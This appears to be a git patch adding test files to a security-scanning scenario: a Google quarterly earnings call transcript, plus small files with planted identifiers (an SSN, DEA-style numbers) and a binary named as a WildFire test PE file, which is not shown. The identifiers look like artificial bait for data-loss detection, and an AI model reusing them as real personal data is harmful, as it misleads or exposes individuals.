licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. + +14685906102609842252788209059268 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_Healthcare.txt b/scenarios/scenario_5/infra/s3_files/s3_files/2_Healthcare.txt new file mode 100644 index 0000000..13d1262 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/2_Healthcare.txt @@ -0,0 +1,6 @@ + +Health care - DEA BB4053839 | BJ6125341 +Health care - DEA BB4053869 | BJ985341 + +April_05_01 + \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_33.sh b/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_33.sh new file mode 100644 index 0000000..0b2e80f --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_33.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +echo "hello" + +ssn 098-07-3316 Current Time : April 12 2021 + +April_05_01 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_latest.txt b/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_latest.txt new file mode 100644 index 0000000..cff7983 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/2_PII_latest.txt @@ -0,0 +1,3 @@ +ssn 098-07-3316 Current Time : May 6th 2:50 + +April_05_01 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_wildfire-test-pe-file.exe b/scenarios/scenario_5/infra/s3_files/s3_files/2_wildfire-test-pe-file.exe new file mode 100644 index 0000000..55bff60 Binary files /dev/null and 